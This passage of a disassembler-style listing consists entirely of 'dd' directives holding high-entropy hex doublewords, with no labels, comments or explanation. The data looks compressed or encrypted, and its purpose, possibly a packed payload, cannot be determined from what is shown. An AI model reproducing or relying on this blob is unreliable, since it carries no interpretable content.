		dd 0BE20F0C9h, 0B7003EC0h, 7D96FA30h, 42FBC1h, 0F2E5158Dh
		dd 0C5366AB8h, 0F8629E1Dh, 0F09AEAC3h, 0FA15D8A2h, 8C460ABAh
		dd 71205ED5h, 6B0C1CDBh, 8057281Bh, 541459AEh, 88211D31h
		dd 5548879Ah, 8B0E03D7h, 65046FADh, 469D760h, 6A03E707h
		dd 0BD0802E5h, 0A0814664h, 9F934827h, 0A2503A88h, 302C3043h
		dd 0E0107FEAh, 0A8657CCDh, 7EC520h, 51F8AB1Ch, 539FB3BFh
		dd 48FA4733h, 280AA545h, 3C0A18B1h, 34204CDCh, 19DA79CCh
		dd 1C43E157h, 1071618Eh, 59F70222h, 1808A250h, 44160481h
		dd 0DA047308h, 839D29E3h, 816D7F20h, 6802C8E0h,	961C98F9h
		dd 0D06E70D2h, 7D8A0C09h, 736D0A14h, 80813248h,	502DC53Bh
		dd 3AE42C20h, 310E8393h, 0C12E0B22h, 28010Ah, 4314B7BBh
		dd 1C0D4DA4h, 83D58FFh,	43A1004h, 202445F8h, 2104DC16h
		dd 14906BA1h, 1DD6FF2Fh, 80ADFBCBh, 1A042CBAh, 0C53308C3h
		dd 908C4165h, 1274CF72h, 43077D49h, 3AD153F0h, 8403926h
		dd 59D8FE8Ch, 0B22A19DFh, 0D0B548C7h, 67005177h, 7DEF6C44h
		dd 496EFF82h, 0D3019C46h, 9FE39103h, 4010A4D9h,	0B06AF00h
		dd 36A0D140h, 48697080h, 636920h, 0ED322A8Eh, 8084227Bh
		dd 0D7B3E518h, 0DAB808h, 32F261F6h, 41262B49h, 0D1ABFA0Ch
		dd 18D5A946h, 853AD38h,	578B7ACh, 0FE54970Dh, 488CC160h
		dd 0B408DAB9h, 0C400F2F0h, 34CF15A6h, 8FBD7Fh, 91D2C211h
		dd 44DE5FA5h, 16897000h, 482FF753h, 474A17F0h, 20E4C412h
		dd 7DB2BAC4h, 8CCA9028h, 7269880Ch, 1CFFE86Fh, 382FB67h
		dd 61986E79h, 414A8907h, 0A087CED3h, 97446040h,	0E359189Eh
		dd 0B5BC2843h, 0F0CF8480h, 813F32BFh, 84802DC1h, 0D95E4655h
		dd 0E5974500h, 0EC960F5Ah, 815D0682h, 685FBF47h, 2C137080h
		dd 0D875B9E8h, 17B40A03h, 0C71E1643h, 0C8918403h, 3D8F1BF7h
		dd 9F3F7D4Ch, 0EB262060h, 0D03CA06Ch, 0A7A16127h, 0B0425499h
		dd 0A10C40A3h, 16F8ACh,	9FE1B2E7h, 0DBECAE26h, 2CF75502h
		dd 49B37D43h, 0A85CAB54h, 1E54F0A0h, 3A8B673Bh,	57EC3288h
		dd 0C1F7FE8Ch, 0BB150555h, 281A1E09h, 0C443B8B8h, 89E69C22h
		dd 7900B974h, 617AE28Bh, 399FBF52h, 0F9001375h,	0B955EB60h
		dd 5DE67DAEh, 87D10713h, 2FC05040h, 2882EF1Ch, 7F4B26Dh
		dd 9C13AE25h, 31ADC124h, 0A1A0DC81h, 0D5281DF0h, 5F3E9079h
		dd 2F5800FDh, 0BBC40643h, 0C6140CD9h, 0D1209EEAh, 3502349h
		dd 9333545Eh, 3DC82410h, 531908BCh, 9488B820h, 0E9C0C8D0h
		dd 658A8F57h, 82B6054Ch
		dd 0C3325088h, 0EBA1F6C9h, 0FE80D074h, 14D183Eh, 571835Eh
		dd 34E461B5h, 7B2F032Dh, 0F8FBEEAEh, 50906BF3h,	0B2309381h
		dd 0D2033053h, 0BE7C1785h, 20761B78h, 522A05F0h, 11FF9F1Dh
		dd 0BA212830h, 30797088h, 0D0683C62h, 3F487E2h,	61A6B748h
		dd 86DCDE98h, 600C8CECh, 1603296Eh, 7600B6AAh, 0F57BE8EAh
		dd 720EB8Ah, 0B761BC14h, 0D9872602h, 51ACE600h,	37FA2D6Ch
		dd 9199EBE8h, 83D2994h,	5BF60C44h, 357989E7h, 0AE9DF81Fh
		dd 70075869h, 904CC22Eh, 0FA008C5Ah, 0A766D297h, 40D009h
		dd 589FC233h, 2D6EF747h, 0D152B601h, 93F57A66h,	35DBFFCh
		dd 0C06AE39h, 9FC8536Dh, 0F41F851Bh, 0E51538C8h, 0C0203A8h
		dd 8E6CD6EDh, 0FC9E1471h, 0EE3DB076h, 442822C2h, 90FBEF8h
		dd 0B10185C0h, 439DBA3Bh, 0E46C0060h, 7A0A2A44h, 0FC0094E6h
		dd 0B114230Bh, 0E0FDE6C6h, 2684A8A5h, 0AF10CABBh, 22DE8094h
		dd 57B13C14h, 81ED9730h, 0C344208h, 0B7C2860Eh,	0BA0385B9h
		dd 508C826Eh, 6C110079h, 64DC588h, 8F24B99Eh, 9F872041h
		dd 0C1CFACDDh, 9D17DF6Ah, 0F0F0CDE1h, 65850225h, 0E8F3387h
		dd 9835C88Fh, 801773Eh,	0FD5455A9h, 873AE433h, 270051D3h
		dd 0BC78A073h, 0C42E008Eh, 427940Eh, 6900C2E9h,	70837C8Fh
		dd 54B95C16h, 6509082h,	2FCA3424h, 320049CBh, 0AFD02163h
		dd 0DDA8EAh, 9C097453h,	4A5ADF7Ah, 33BC9F00h, 1EF9588Eh
		dd 0D8270C6Bh, 2E51FA30h, 1D9E0300h, 6D7B0550h,	510F3834h
		dd 5721C07Bh, 7FBCF0C3h, 87CAE00h, 78E2364Bh, 75E41E29h
		dd 24494086h, 0A389F93Eh, 94055507h, 743AA764h,	84CF803Fh
		dd 0E691B230h, 8A492AE8h, 3AC13BD4h, 5C6FF587h,	103F0735h
		dd 13CBC9F2h, 150C8700h, 61056548h, 6EEC028Ah, 0E578A753h
		dd 0D85DE8A2h, 38270048h, 0ED5A8D07h, 4E0021F2h, 24EAEE8Bh
		dd 8034DBC5h, 0B34BA249h, 7A143B39h, 701BC7h, 28ABBD6h
		dd 563359h, 12F4B23Fh, 871C8245h, 0DF344E01h, 0B10C2E77h
		dd 1F966E4h, 0E93F3B7Bh, 0D430B6F3h, 737A0B19h,	0CCE47800h
		dd 8B0579C9h, 0D35B00D7h, 0E60F3D68h, 17009A19h, 0EB9FAF26h
		dd 64216E3h, 5BF9C7Eh, 6F82954h, 40677488h, 1084E2A3h
		dd 11063E47h, 0DC1FD317h, 0BE22A0A8h, 58A42243h, 0F0111342h
		dd 512A30DDh, 1CC31Bh, 0E538DF0Ah, 0CF82001h, 3398C207h
		dd 0FF00F2B1h, 8A475Dh,	0A1B8730h, 0E5A8263Dh, 0BD76BF01h
		dd 7CBC8F0Dh, 0B0101060h, 1B16003Ah, 7B9BC6D0h,	210055B4h
		dd 2C2FE6CEh, 5D69D2h, 0C94C6C99h, 46034AEBh, 89448C07h
		dd 0F56148D9h, 0EFEB28FAh, 0AB7C80A0h, 263700F3h, 0DB95A749h
		dd 0C9003619h, 6772EAC8h, 60DECCh, 7AD4D9Ch, 2EDC8F9Eh
		dd 0E971A000h, 1286056Eh, 9B080E66h, 844A51C4h,	8E7600A9h
		dd 0F5BB1F3Ah, 0CE261E00h, 9F9D94ACh, 0C2CD00C8h, 44F99742h
		dd 0B700936Eh, 6C9BB2FBh, 0FA0F2939h, 365900B5h, 0CF5B95A8h
		dd 62508A7Fh, 100073F4h, 8039DE6Eh, 85889Dh, 1D54243Bh
		dd 47324AC3h, 0A9A5C000h, 0EAF12FAh, 0D89A63F2h, 8EABB74Fh
		dd 0C87EF8F1h, 420378C7h, 6740FE0Fh, 17C800EBh,	0D0F5258Ch
		dd 0E718BFC5h, 9CBC0650h, 1CA5715Ch, 0C4E4AD87h, 0C659FD40h
		dd 19009024h, 7E47D08Bh, 0F4749A30h, 879D0068h,	0EFBEB106h
		dd 0C2000235h, 0B48C292Eh, 0F537BAh, 0B8A351D6h, 0FDF3A104h
		dd 1B17E100h, 30DD133h,	347B3D02h, 8E664580h, 0E42DF78Ah
		dd 0B7A8B1Dh, 0B48397C0h, 0C58653Eh, 0E70C3062h, 50005C20h
		dd 21E02F0Bh, 80FFBEh, 0E87B9CFDh, 0C91269BCh, 0A60FCEF4h
		dd 0A0A3EB8Dh, 0BED724EDh, 3CD900E3h, 49DC0653h, 51D2C31h
		dd 44804FF3h, 0E74AC7F9h, 1A630086h, 276F60D1h,	0EBE8A66Ch
		dd 20CD9C04h, 208150B6h, 7DDC485Eh, 8575BCh, 0B5F5F491h
		dd 0A08F3EF2h, 793A7E00h, 0FA9E0B3Ch, 6D591617h, 0C4AF0051h
		dd 0F034C171h, 6E0092E6h, 0A9621284h, 22B6554h,	0E591EF0Ah
		dd 409EB5h, 4D009F0Bh, 4A1750F9h, 65F2DDh, 0E80184B7h
		dd 9DC2366h, 0D62B8205h, 0C8002967h, 0D3ADC6CFh, 55FB000Bh
		dd 4951B27h, 0E70F6892h, 0B23BC115h, 0D17A400h,	2460CE72h
		dd 609C6Dh, 0C073C32Ch,	0E40019ACh, 933B844Fh, 9A4B5Dh
		dd 597220BFh, 0FD2DDFD2h, 7087EC00h, 0C23A5766h, 7CD770Bh
		dd 0ABC6DEE0h, 30004905h, 0A320ADDDh, 0FC5CD220h, 647C4C0Fh
		dd 91D71Ch, 597729Ah, 631294D1h, 2C608D70h, 7D8BBBh, 4490F7B6h
		dd 0B480F093h, 0AD9658h, 0A5C11CB3h, 2026FFh, 0DEA25CCFh
		dd 510CE7D5h, 42C46500h, 0C7474D96h, 336F00CCh,	0D90513BAh
		dd 9800A866h, 0BC36FA5Ch, 7BD22680h, 88B307A9h,	9E037938h
		dd 67F140FDh, 0DE7EB9F3h, 6036CD0Fh, 80342BC5h,	0D0491789h
		dd 8DF50774h, 208F832Ch, 58539573h, 0B50099F6h,	8B9276C0h
		dd 0FC6CDEBh, 3B72F843h, 0A80DEE41h, 0C899D8BDh, 80203F3Dh
		dd 0BC5992EFh, 0E1F61FDh, 0CC93E9CDh, 0F1608CAFh, 0F08A9E0Ah
		dd 64B55326h, 0EE3EE401h, 43CC7254h, 0A2BE03BDh, 0B28F94C8h
		dd 96DB8E90h, 587DFF00h, 5D6FAF2Ah, 0C1111DE6h,	811DC01Ah
		dd 0BE9AC3E5h, 0A00377Fh, 0A73F62C0h, 0E2EFFBh,	0FD6BB015h
		dd 913A5EC8h, 0BB57C21Dh, 27EB2C0h, 5F92D1h, 0FD696D3Ch
		dd 0EE08E4D4h, 0F8011F1Dh, 376BFA42h, 0C135E0E7h, 0BDC90085h
		dd 0D4C7CC7Ch, 0BB003165h, 42EDE345h, 15B1F6h, 304D512Ah
		dd 0A2A1B9E5h, 8538CA05h, 6C09BB4h, 0F35FB9Fh, 1AB71618h
		dd 0E74C20F8h, 7C5F6000h, 94DBB031h, 771300C0h,	0B5768D17h
		dd 28C01889h, 79C51F4Dh, 0F088395Bh, 45D70582h,	0D8E14F0Fh
		dd 5235CC87h, 0C4777AFEh, 5DF9B000h, 7CB69BE0h,	0FAB53ABAh
		dd 0B95EEF83h, 54D886CDh, 8300C74Dh, 14D5B0DFh,	306B5C70h
		dd 2B50515Ah, 80003517h, 0E29A4024h, 0FD6383h, 5B6E81C0h
		dd 0B3965B3h, 0A833EC00h, 0BAAED6F6h, 1C8751Ch,	0E14FBDF8h
		dd 0FF90A669h, 2CA02093h, 0C9003099h, 2ADC432Eh, 17F993h
		dd 466308D0h, 7B44A695h, 0A400C876h, 0A843C4Dh,	5CE3559Fh
		dd 3D052E61h, 43B15BE7h, 679C19D8h, 8655F2E8h, 0EA1B0D00h
		dd 0D247F503h, 9B323C06h, 0ED565980h, 0EF7B57E5h, 4D53C300h
		dd 19F66170h, 8CF31CF8h, 0D4559F2Eh, 0C600D2BEh, 0F40BE322h
		dd 7500EDC5h, 548656C2h, 0E78C987h, 0F1952E08h,	0E66B0FA0h
		dd 0EA007412h, 3EB5DA10h, 1F2CE198h, 80491839h,	885D1103h
		dd 0C03943C7h, 0F5D093D6h, 2216CB00h, 0ECAF9792h, 0DE930784h
		dd 301E4F82h, 0AE692E9Fh, 5E41070Fh, 0B8FA80F6h, 0FA16A48h
		dd 727725FBh, 440243A0h, 0DE0018B5h, 0B2BC3C7Fh, 1FC36E17h
		dd 40A25727h, 0FE3DEA25h, 99003FDFh, 736677EEh,	1EDE51E8h
		dd 801345E9h, 0FE118A1Dh, 7074B57h, 8942493Fh, 90011663h
		dd 2EEF31Ch, 2AF5656Dh,	0A8804E9Fh, 2DB36160h, 0B209E31Ch
		dd 0B5D5900h, 1C5F0ACFh, 0CCAC5Ah, 58635625h, 0F1006BC9h
		dd 0E6BD839Fh, 5F3C35h,	4A50BC32h, 0F0214F3Ah, 0B534DA00h
		dd 175B15EAh, 0D5AF077Dh, 20073B93h, 0A5CABB5Ch, 7716A2FEh
		dd 0D8004F9Ch, 0B21E8AB3h, 2DEECBh, 0FA5F8CF6h,	45D66261h
		dd 71D24200h, 0E154A79Bh, 9ACA00B8h, 5D10FBC0h,	0ED075EFDh
		dd 656657A0h, 8AE0F590h, 5A4D0052h, 0FF6E5DC8h,	69009918h
		dd 0C251593Dh, 39BAB06Fh, 0BB00E6C6h, 7914EFD3h, 28C037C5h
		dd 0E0922A7Bh
		dd 0E1413D30h, 0BF00405Ch, 0B6E855FEh, 0C0C07886h, 0ECC2984Ch
		dd 0D9640072h, 7FED2F80h, 5D0081A2h, 896FE1F3h,	1684B11Ah
		dd 5048EE2h, 0C0649206h, 0DF2EC6DAh, 5CCADB00h,	0C5686294h
		dd 0DEA800FEh, 0F981175Dh, 0AB01D77Dh, 0DE73E7Eh, 0C8405895h
		dd 12551664h, 0ABAC6B0h, 1CC9D5Dh, 0B59A2D6Bh, 0A5118078h
		dd 5926C901h, 321E0619h, 9E399C3Ah, 0D73F9600h,	5E933452h
		dd 0C58600DCh, 25D5EE4Ch, 0CEF276FDh, 0F5A32C00h, 4F1E401Ch
		dd 18504C27h, 0C01ABE00h, 0EC748935h, 1F15AF00h, 3DC2BC0Dh
		dd 0B46E00FDh, 7343FEBEh, 53FBD35h, 0A16C02CCh,	60E3F186h
		dd 16D9DD08h, 1FCEE242h, 1F7F4AABh, 41301E4h, 0CC0DB3D2h
		dd 0D800FA07h, 0D7022B3Fh, 0B69454h, 7D7F9B8Dh,	8B42BD23h
		dd 805FE03Ah, 0B01D5729h, 21C917h, 19C65215h, 8AA7A416h
		dd 12B9DD00h, 53406F07h, 723600D6h, 0BA657317h,	0D07C326Bh
		dd 26AC9018h, 0F1F5228h, 48AFD551h, 6FC1A420h, 0C476F287h
		dd 38210600h, 0EB523069h, 745700E7h, 2A8456Eh, 0F21C9420h
		dd 0D0C09F9Eh, 66ABD514h, 0AF5900EEh, 127AEF3Fh, 0A30FD2DFh
		dd 8A10F5C1h, 0CD00E8AAh, 48D30107h, 6EA20E2Ch,	6083D88Ch
		dd 2029AD33h, 0D00F8A7h, 5404EBA6h, 786400B5h, 0B7E0F42Ah
		dd 0EE00CC40h, 0BBB695CAh, 98A9459Ch, 9AF0408h,	809F6A72h
		dd 2B799B04h, 0B5BC3A0Eh, 2959E037h, 16F9539h, 27FDA9FEh
		dd 0DC2C6594h, 0E71D17C7h, 0F8C33D2Bh, 909BF5BCh, 608D1F9Ch
		dd 0AFDF3423h, 0B40038F2h, 0ABDCC23Fh, 56DD3FFh, 96BCFA86h
		dd 4BEE00A1h, 78E1DA68h, 8722AE13h, 0D6FA2603h,	5D90039Bh
		dd 0CD7C6093h, 0F251D4D0h, 75565A00h, 503EB154h, 189D269Ah
		dd 0C2F40470h, 0A808800Ch, 90751FE0h, 0C720CA00h, 0B74BC31h
		dd 9D7E0CEh, 45C9D482h,	70610000h, 0D030EF6Dh, 0C79D2130h
		dd 414B0738h, 221D0611h, 0DD3454h, 70E94CF6h, 8DDE0380h
		dd 0E7D61392h, 6B4EB8E8h, 43748498h, 0A704312Ch, 35CFE100h
		dd 36E18ECh, 0ABB2626Ch, 0F7F2A23Eh, 20C00C62h,	46F0DA98h
		dd 0C42D8907h, 97B0380Fh, 3F6336A9h, 4A006987h,	1CE346ABh
		dd 130040D6h, 0C83E600Ah, 2CCDD9Ah, 8BDCEF59h, 0F9609927h
		dd 29264662h, 861F1344h, 2F82F3C0h, 718F19F1h, 0C75E00A4h
		dd 1BEFFE4h, 1B0076D5h,	53270448h, 3FB8B7CBh, 7B9F0B18h
		dd 430940F8h, 0C398C5D5h, 0FD3E2E00h, 7467EAFEh, 0F85F2E8Fh
		dd 0EDBC00FCh, 0E4499D80h, 0D7FFEF00h, 0F5D5E189h, 7FEA0C7Bh
		dd 0D3E0AB6Eh, 0C0261D1Fh, 503DAF80h, 83570Bh, 955E42F2h
		dd 2E5D8636h, 0F94DAD04h, 8B80288Ah, 614AFFEEh,	764B50A6h
		dd 63B2EC42h, 18FD5539h, 996126B8h, 0BB7200D8h,	3C79D907h
		dd 0D500E987h, 96E4112Bh, 0F2DC9Bh, 0AB8B41F0h,	0FF9880EEh
		dd 80C42C3Ah, 3991EB7Ch, 0A643C9h, 11D55AB9h, 75EB28Fh
		dd 0BAB31B07h, 2A10940Ch, 7174114h, 54B144DCh, 97FC08Ah
		dd 7401393Eh, 48E5C96Dh, 10813861h, 547A9A05h, 8A5AD460h
		dd 7C507D7Bh, 2C001690h, 8CC3D0CCh, 0EABCDC0Ch,	11910099h
		dd 1645AA66h, 2601DFFFh, 7E1B4FB0h, 98806DFBh, 30B1B684h
		dd 0C4000142h, 0BD10932Fh, 3E1284Bh, 8E558B0Fh,	0BC98C913h
		dd 0AD0027E8h, 2397DBBEh, 760FEF7Ah, 1B8500B6h,	4792E64Ah
		dd 0A400F55Dh, 0B053EAA1h, 2EC6CA6Eh, 59A0C5h, 65BC35BBh
		dd 1D00A6DEh, 0F1204582h, 33340CCh, 0FE7FF8C8h,	1A83CF9Dh
		dd 0D5B290F7h, 0E00F2D4h, 745B5846h, 0E6E3CA2h,	61D6295Dh
		dd 5A49A407h, 0A65103E8h, 79C05CE8h, 0B20205F9h, 82D93865h
		dd 0B8DE4016h, 73D3009Fh, 92F36D13h, 0EC3E3EFBh, 0BBD4040Eh
		dd 0D1800C2Eh, 0E8D41AFh, 0A84B25A3h, 8091B180h, 260277Fh
		dd 9CE16F20h, 49483A24h, 0D4858A00h, 9A470F7h, 844A0800h
		dd 33C3A1AEh, 4C7A002Ch, 9FEE4E1Ah, 6F001789h, 14C20E52h
		dd 3107903h, 0D6BA4955h, 24C84070h, 40CFF102h, 0E700BD93h
		dd 0A66C29FFh, 341101CAh, 0B07A63BDh, 57AEE8A3h, 683E6A00h
		dd 78225B6Bh, 189017FFh, 17B0AC89h, 4D06AE70h, 10914Dh
		dd 0CD28867Eh, 0CB138F6Eh, 4AFBC200h, 4C5D1449h, 0DBA800F2h
		dd 0E19D409Ah, 641C427Eh, 34C01084h, 82265E2Eh,	77BE002Bh
		dd 0A8D654B9h, 0F807A744h, 0A1437694h, 5E2C1100h, 20D8004Ch
		dd 0E3D09286h, 6A60E568h, 1584A80Eh, 97FAA4h, 0D545D3CFh
		dd 7EFA61AEh, 4EE4D4E1h, 5BD46A00h, 25B3342Bh, 0D5A1019Bh
		dd 4223B656h, 0F3A7C713h, 83F024BFh, 300081BBh,	8CA28E48h
		dd 0B04AEBh, 31E4F49Dh,	4EE5021Ah, 0D8C32301h, 2C46EF57h
		dd 0C210D0h, 0C69C9197h, 0C0390414h, 0F0F67103h, 88010384h
		dd 85BCD9h, 9194E80Eh, 563193D7h, 806CBB39h, 9D73B517h
		dd 38E29C45h, 0A887B0C9h, 20F0AC2Dh, 0B78B9267h, 0BB43D900h
		dd 0B1FE72E3h, 91950021h, 87821BCBh, 0DF60C764h, 6D2C4C70h
		dd 0DD0C0116h, 88CEAD48h, 0FDB52031h, 84B60200h, 0D62C10CAh
		dd 0AA8000BFh, 0FC73BB0Eh, 0A7011FF8h, 7EF5050Bh, 8DD05832h
		dd 108E3C4Bh, 15C4A40Ch, 70F0A60h, 0C060DBE6h, 0F2ED67D1h
		dd 44FD0EE7h, 0EC60FFFAh, 0EBF9373Dh, 65FC1A4Fh, 8170A230h
		dd 0EF712408h, 0AF784301h, 748D4A5Dh, 0A61D9C55h, 0B1D35780h
		dd 78A0D9h, 0CAEC9395h,	209E2453h, 17113B01h, 5B5740E0h
		dd 2C25B8F4h, 3B4FB45Fh, 804D671Ch, 8F532DE9h, 8D00146Fh
		dd 47F857A6h, 0FCC3B7h,	0CE5977F2h, 1C3BF7B3h, 9B0971EEh
		dd 0A605AFh, 41F5DF0Ah,	6AC03FAEh, 0E2D36600h, 0ED215061h
		dd 11297D00h, 49D6275Dh, 0B200019h, 0B3DABED4h,	0F90177B8h
		dd 0DD07F098h, 9660A3A1h, 0C4FD003Ch, 0A5D9E35Bh, 1F7E2712h
		dd 14BB651Dh, 0C1FE7647h, 0A78A4FB1h, 293A30h, 213FDEE0h
		dd 54B5E362h, 0C4741901h, 0D2DD44E7h, 0B0CBF0h,	0C5D1CAEAh
		dd 0FE08F959h, 5803B998h, 0BD6142C4h, 0B8818C5Ah, 6FE44826h
		dd 3209001Eh, 0F06A070Ch, 9800703Bh, 4DC4A65Bh,	35719ADh
		dd 0EA4F8EE5h, 0D9901FF1h, 0ED006537h, 88038C92h, 40BE75h
		dd 0AD51A71Ah, 6EC577D4h, 1E3FD100h, 75C7B244h,	0A40128E9h
		dd 4D3C44F0h, 734ABE0Fh, 0DA7FC7B7h, 87EB8272h,	3974F3B9h
		dd 0B337AC80h, 122A0079h, 0C3418FBBh, 0E5B05E78h, 6C3615Ch
		dd 0F965BED8h, 711800B8h, 2D54EA91h, 281E77B6h,	3000D193h
		dd 412FFFFBh, 46091E0Dh, 0CABB00CEh, 0A065FD0Eh, 0AE8DE0Ch
		dd 7E7475h, 0E4240F83h,	99926EFCh, 0B4AB4600h, 208ED30Ch
		dd 9477137Eh, 6A340002h, 0A9A2D898h, 28BD1D00h,	8B4EF0D5h
		dd 5E6200DEh, 97F2B4D9h, 5400E716h, 866C9380h, 922A85h
		dd 0FC4CD6A1h, 2E17CC94h, 0BD162402h, 3200AC9h,	18C54BFh
		dd 0DFAF583Ch, 0F84F4h,	6DBA5FF1h, 8C54C07Dh, 49F07348h
		dd 0D5CB1D14h, 3C100780h, 13E2239Bh, 73429D0Ah,	0B5B8A240h
		dd 0F7242B56h, 9100EEA9h, 6036CA3Ah, 0B2EE00B4h, 71B36A6Ch
		dd 0BC00E48Bh, 5D95E3C5h, 1E3ECA10h, 0C1215A70h, 501F35AEh
		dd 7BC0E6BFh, 17009A72h, 0D78BBE65h, 9883F8ECh,	958801B4h
		dd 0DEA1C83Dh, 7CBAFCD6h, 0ECFA1A0Eh, 0A92E006h, 0C250A7h
		dd 78B8E1C8h, 0AFE71061h, 0DB8C0200h, 2DEBED7Ah, 879E3995h
		dd 7B9BEA7Ch, 3CB000C9h, 0A03D21D3h, 0EB0156BCh, 0B648F0F4h
		dd 1DD87C38h, 1CAE8E1h,	52331063h, 0C0DE43BFh, 0F826B4D0h
		dd 328034FBh, 0B04890A3h
		dd 0AAFD09DBh, 2700730Bh, 8A88E750h, 79192200h,	0C30DD894h
		dd 0BFE63Bh, 0F3E4FA97h, 4AB2D45Eh, 20ECD00h, 603ED0FCh
		dd 633C167Ch, 0D644402Ch, 7022E480h, 0DE44C71Dh, 4047670Eh
		dd 0E9E79E6Ah, 7589C0F4h, 97A96496h, 0AA9F5E18h, 0EE8CBB08h
		dd 0B71007A3h, 802A5F47h, 3C20BC63h, 9B6448h, 0FB71D94Bh
		dd 251D28h, 19A00482h, 9EC5B299h, 0B71FF702h, 0C063AE0Ch
		dd 6E8B2h, 91E47B7Fh, 3104D50Eh, 477AD604h, 0C7C77376h
		dd 10408079h, 7D1367h, 0FC08AD15h, 235514E1h, 2124A737h
		dd 3E2D90CCh, 0DD1895A8h, 32DF1922h, 0F77C7CA0h, 71A7503h
		dd 7984D7h, 35708A41h, 44EFD9FEh, 4AC38B00h, 0FCFBEE22h
		dd 0CFE40099h, 65638FC5h, 5100C1C8h, 73641E66h,	0F78E0Ch
		dd 1116A2E8h, 0A8CA9B28h, 0BE0F22F4h, 80D08D60h, 0CF1D1574h
		dd 284A1DD7h, 0D2F20002h, 0EEE33633h, 10C46D00h, 0A7D45C9Bh
		dd 0E456073Fh, 4F6B835Dh, 0B45821C0h, 1B1DB5D8h, 0D070AC8Fh
		dd 67C1ECh, 0B9FF8D54h,	3834893Dh, 96BE4503h, 0A08B10CBh
		dd 3C152F3Eh, 0F460C3BDh, 46DB3C5Eh, 0F4F36105h, 6C806BA9h
		dd 1FD0E16Ah, 28A5D630h, 460D090h, 2C4F8BAh, 82726A0h
		dd 34436F0Eh, 2A7E9FA0h, 9C9BEF00h, 0BB05FA1Eh,	0C7758Eh
		dd 0E864159Eh, 0F11B2CF8h, 58297764h, 11CA1521h, 9710E798h
		dd 0D48028C2h, 27BC88EBh, 0DD4CFC40h, 0E382C050h, 0EF562302h
		dd 61E6D000h, 8DAB9B59h, 107F064Fh, 28D93A07h, 29C4E090h
		dd 9D44E42Ch, 3B5B4490h, 32366B42h, 27E5E802h, 0D0B9B8F8h
		dd 38209628h, 0E7642233h, 2267FC22h, 0F9223903h, 29806032h
		dd 0C57F15C2h, 0C931BF00h, 50A31094h, 669900DAh, 0D06CF4CDh
		dd 4E0EBBADh, 200E7137h, 3DFDEAC2h, 8B3E00C1h, 52206518h
		dd 8E0095E4h, 0B57FD787h, 0F4A72Eh, 263593EEh, 0FAAEB3D3h
		dd 5C1C8100h, 30A2C855h, 52430780h, 301F0711h, 7F766CF7h
		dd 96FBE407h, 0D906F2Ch, 0B62219h, 8590CD8Dh, 0B7033381h
		dd 0EA420600h, 0A7358401h, 0AAA6009Fh, 5B6E691Ah, 4700BA1Dh
		dd 0CB2BB5A2h, 5C55C8ECh, 270021EDh, 0CA75053Dh, 0E500DAC7h
		dd 5432A0ACh, 6A57D7h, 0DF229710h, 2F3C5D80h, 249A1B0Fh
		dd 3A48C0FFh, 99F5Bh, 6C0BAF43h, 3E31BA9Eh, 4030541Eh
		dd 0D1915F03h, 4328004Ah, 0AE768A2Bh, 6700F482h, 74B955CBh
		dd 45EA08h, 3D5B8BADh, 0EB12EF9h, 0DA7E6918h, 0EC67C488h
		dd 684D3A43h, 0AF000ABAh, 2D9355BCh, 5C3A3B2Ah,	0E5350061h
		dd 0AC2E91EDh, 802B1C0Dh, 0B6FCC0A6h, 125B9BDAh, 801EC53Bh
		dd 43D0569h, 0F2E7937Dh, 0CD990397h, 6E918A34h,	1E51483Ah
		dd 9B8090C5h, 0BDDE38EEh, 0AAA81679h, 9EF40062h, 0D92F350Bh
		dd 44962603h, 0A89FEB40h, 19E531h, 0E1F9493h, 0E62FE2E1h
		dd 0DE01CAE8h, 0A0A744AFh, 63E860DCh, 6F8E1ECDh, 93340BDh
		dd 0CE49B301h, 9B45BB2Ch, 0F23AC820h, 2F9900C2h, 3EB27109h
		dd 371B0B8Dh, 3A8E4F31h, 9B16DF01h, 7C9F40AFh, 2C00D430h
		dd 528C073Dh, 0B86E8h, 1DFB352Fh, 7E87495Ch, 0D60EC100h
		dd 0F325FC7Dh, 35F639CEh, 0ECD84A00h, 0A203A639h, 5FA0B000h
		dd 0F5C9DE0h, 26F2AFh, 0FC5B32BFh, 0F752E5B5h, 3BC24139h
		dd 0BB8A9D77h, 0C01ACA00h, 74F18EBh, 0ADC4A676h, 5550A341h
		dd 0BF9FF0DFh, 0D905A557h, 0DB15C9F8h, 7924EC00h, 240A9084h
		dd 608909h, 937B64DEh, 340F2FFBh, 4748B6A7h, 3E80D037h
		dd 28697806h, 0A090F0F7h, 0B42690h, 9F421ADFh, 7DDEC1DAh
		dd 0AC9CE201h, 0F453F77Fh, 9700E0BAh, 0C4A7909Ah, 0AF7F024Fh
		dd 8575DB03h, 93662CE5h, 2DEED981h, 1A5CBC0h, 2F3BF1F8h
		dd 0D5DA57F0h, 0BA6330FFh, 0F7CFFD03h, 0AB69A743h, 4485E8D1h
		dd 48A50013h, 1F163CC1h, 8803115Fh, 3402CFA0h, 47EB835h
		dd 0AF9C0710h, 0C53F4B54h, 3BD400D6h, 0C7C3750h, 8A00D8EEh
		dd 0AD782DFCh, 0CBE369h, 6B915C72h, 18BAEB1Fh, 0E6FB6400h
		dd 0FE6E5744h, 2475DDh,	3FEC174Eh, 15BC31C4h, 514F20h
		dd 8302E110h, 13761DB4h, 525F3Ah, 35B12434h, 0CB1A7Bh
		dd 5C16E73Ah, 72914D0Dh, 8D0F1700h, 8AC93437h, 38C0222h
		dd 54811ED5h, 61234460h, 0E05F900h, 8DE44FCDh, 0E8AC004Bh
		dd 0FCBBCC5Ah, 0C0EB9B3h, 0C0F892D0h, 60444E1Eh, 0FCD95004h
		dd 792A00DBh, 5DC76AC4h, 360BFBABh, 813E7C2Fh, 0C2E643E6h
		dd 48E880D9h, 0A6982EA7h, 146203C0h, 1DD8444Fh,	9600D5DDh
		dd 807787DBh, 7AF2DCh, 67487F1Bh, 0D812E115h, 6574B72Ch
		dd 13C04A1Fh, 0B455AAA1h, 3F32001Ch, 0EF4B2AD1h, 601406B2h
		dd 75E0A908h, 4FCE0F00h, 62CAE6F6h, 590700B8h, 81957479h
		dd 6F00BE96h, 0BF8C43Ah, 57F155h, 67380263h, 0C2EB715Ch
		dd 98003076h, 0CAD0B76Bh, 0FC18F14h, 0A4F57748h, 542A5A80h
		dd 4001D65h, 222B7557h,	209292Ch, 0FC7F353Dh, 0C0AECFh
		dd 0FE0E582Dh, 631C601Eh, 1C6B0A9h, 0A442D2C8h,	0DC0A2B56h
		dd 0FA05BE18h, 0A870CA32h, 8178E00h, 104855h, 0EC30092Eh
		dd 0F08040BFh, 5E9EE100h, 48A321B0h, 6200050h, 0E7D844D1h
		dd 0DB2C1E1Ah, 96001810h, 0D55CD363h, 6115002Dh, 0E4B3A918h
